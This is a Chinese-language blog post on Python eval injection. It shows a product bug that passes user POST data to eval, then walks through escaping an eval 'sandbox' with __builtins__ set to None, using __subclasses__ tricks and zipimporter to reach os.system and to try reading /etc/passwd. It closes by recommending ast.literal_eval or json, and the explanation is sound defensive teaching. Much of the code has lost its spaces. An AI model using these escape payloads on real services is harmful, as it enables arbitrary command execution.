Python eval的常见错误封装及利用原理详解
最近在代码评审的过程,发现挺多错误使用eval导致代码注入的问题,比较典型的就是把eval当解析dict使用,有的就是简单的使用eval,有的就是错误的封装了eval,供全产品使用,这引出的问题更严重,这些都是血淋淋的教训,大家使用的时候多加注意。
下面列举一个实际产品中的例子,详情见[bug83055][1]:
defremove(request,obj): query=query2dict(request.POST) eval(query['oper_type'])(query,customer_obj)
而query就是POST直接转换而来,是用户可直接控制的,假如用户在url参数中输入oper_type=__import__('os').system('sleep5')则可以执行命令sleep,当然也可以执行任意系统命令或者任意可执行代码,危害是显而易见的,那我们来看看eval到底是做什么的,以及如何做才安全?
1,做什么
简单来说就是执行一段表达式
>>>eval('2+2')
4
>>>eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip':'10.10.10.10','name':'xiaoming'}
>>>eval("__import__('os').system('uname')",{})
Linux
0
从这三段代码来看,第一个很明显做计算用,第二个把string类型数据转换成python的数据类型,这里是dict,这也是咱们产品中常犯的错误。第三个就是坏小子会这么干,执行系统命令。
eval可接受三个参数,eval(source[,globals[,locals]])->value
globals必须是路径,locals则必须是键值对,默认取系统globals和locals
2,不正确的封装
(1)下面我们来看一段咱们某个产品代码中的封装函数,见[bug][2],或者网络上搜索排名比较高的代码,eg:
defsafe_eval(eval_str):
try:
#加入命名空间
safe_dict={}
safe_dict['True']=True
safe_dict['False']=False
returneval(eval_str,{'__builtins__':None},safe_dict)
exceptException,e:
traceback.print_exc()
return''
在这里__builtins__置为空了,所以像__import__这是内置变量就没有了,这个封装函数就安全了吗?下面我一步步道来:
>>>dir(__builtins__)
['ArithmeticError','AssertionError','AttributeError','BaseException','BufferError','BytesWarning','DeprecationWarning','EOFError','Ellipsis','EnvironmentError','Exception','False','FloatingPointError','FutureWarning','GeneratorExit','IOError','ImportError','ImportWarning','IndentationError','IndexError','KeyError','KeyboardInterrupt','LookupError','MemoryError','NameError','None','NotImplemented','NotImplementedError','OSError','OverflowError','PendingDeprecationWarning','ReferenceError','RuntimeError','RuntimeWarning','StandardError','StopIteration','SyntaxError','SyntaxWarning','SystemError','SystemExit','TabError','True','TypeError','UnboundLocalError','UnicodeDecodeError',
列表项
‘UnicodeEncodeError',‘UnicodeError',‘UnicodeTranslateError',‘UnicodeWarning',‘UserWarning',‘ValueError',‘Warning',‘ZeroDivisionError',‘_',‘debug‘,‘doc‘,‘import‘,‘name‘,‘package‘,‘abs',‘all',‘any',‘apply',‘basestring',‘bin',‘bool',‘buffer',‘bytearray',‘bytes',‘callable',‘chr',‘classmethod',‘cmp',‘coerce',‘compile',‘complex',‘copyright',‘credits',‘delattr',‘dict',‘dir',‘divmod',‘enumerate',‘eval',‘execfile',‘exit',‘file',‘filter',‘float',‘format',‘frozenset',‘getattr',‘globals',‘hasattr',‘hash',‘help',‘hex',‘id',‘input',‘int',‘intern',‘isinstance',‘issubclass',‘iter',‘len',‘license',‘list',‘locals',‘long',‘map',‘max',‘memoryview',‘min',‘next',‘object',‘oct',‘open',‘ord',‘pow',‘print',‘property',‘quit',‘range',‘raw_input',‘reduce',‘reload',‘repr',‘reversed',‘round',‘set',‘setattr',‘slice',‘sorted',‘staticmethod',‘str',‘sum',‘super',‘tuple',‘type',‘unichr',‘unicode',‘vars',‘xrange',‘zip']
从__builtins__可以看到其模块中有__import__,可以借助用来执行os的一些操作。如果置为空,再去执行eval函数呢,结果如下:
>>>eval("__import__('os').system('uname')",{'__builtins__':{}})
Traceback(mostrecentcalllast):
File"",line1,in
File"",line1,in
NameError:name'__import__'isnotdefined
现在就是提示__import__未定义,不能成功执行了,看情况是安全了吧?答案当然是错的。
比如执行如下:
>>>s="""
...(lambdafc=(
...lambdan:[
...cforcin
...().__class__.__bases__[0].__subclasses__()
...ifc.__name__==n
...][0]
...):
...fc("function")(
...fc("code")(
...0,0,0,0,"test",(),(),(),"","",0,""
...),{}
...)()
...)()
..."""
>>>eval(s,{'__builtins__':{}})
Segmentationfault(coredumped)
在这里用户定义了一段函数,这个函数调用,直接导致段错误
下面这段代码则是退出解释器:
>>>
>>>s="""
...[
...cforcin
...().__class__.__bases__[0].__subclasses__()
...ifc.__name__=="Quitter"
...][0](0)()
..."""
>>>eval(s,{'__builtins__':{}})
liaoxinxi@RCM-RSAS-V6-Dev~/tools/auto_judge$
初步理解一下整个过程:
>>>().__class__.__bases__[0].__subclasses__()
[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]
这句python代码的意思就是找tuple的class,再找它的基类,也就是object,再通过object找他的子类,具体的子类也如代码中的输出一样。从中可以看到了有file模块,zipimporter模块,是不是可以利用下呢?首先从file入手
假如用户如果构造:
>>>s1="""
...[
...cforcin
...().__class__.__bases__[0].__subclasses__()
...ifc.__name__=="file"
...][0]("/etc/passwd").read()()
..."""
>>>eval(s1,{'__builtins__':{}})
Traceback(mostrecentcalllast):
File"",line1,in
File"",line6,in
IOError:file()constructornotaccessibleinrestrictedmode
这个restrictectedmode简单理解就是python解释器的沙盒,一些功能被限制了,比如说不能修改系统,不能使用一些系统函数,如file,详情见RestrictedExecutionMode,那怎么去绕过呢?这时我们就想到了zipimporter了,假如引入的模块中引用了os模块,我们就可以像如下代码来利用。
>>>s2="""
...[xforxin().__class__.__bases__[0].__subclasses__()
...ifx.__name__=="zipimporter"][0](
..."/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
..."configobj").os.system("uname")
..."""
>>>eval(s2,{'__builtins__':{}})
Linux
0
这就验证了刚才的safe_eval其实是不安全的。
3,如何正确使用
(1)使用ast.literal_eval
(2)如果仅仅是将字符转为dict,可以使用json格式
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持毛票票。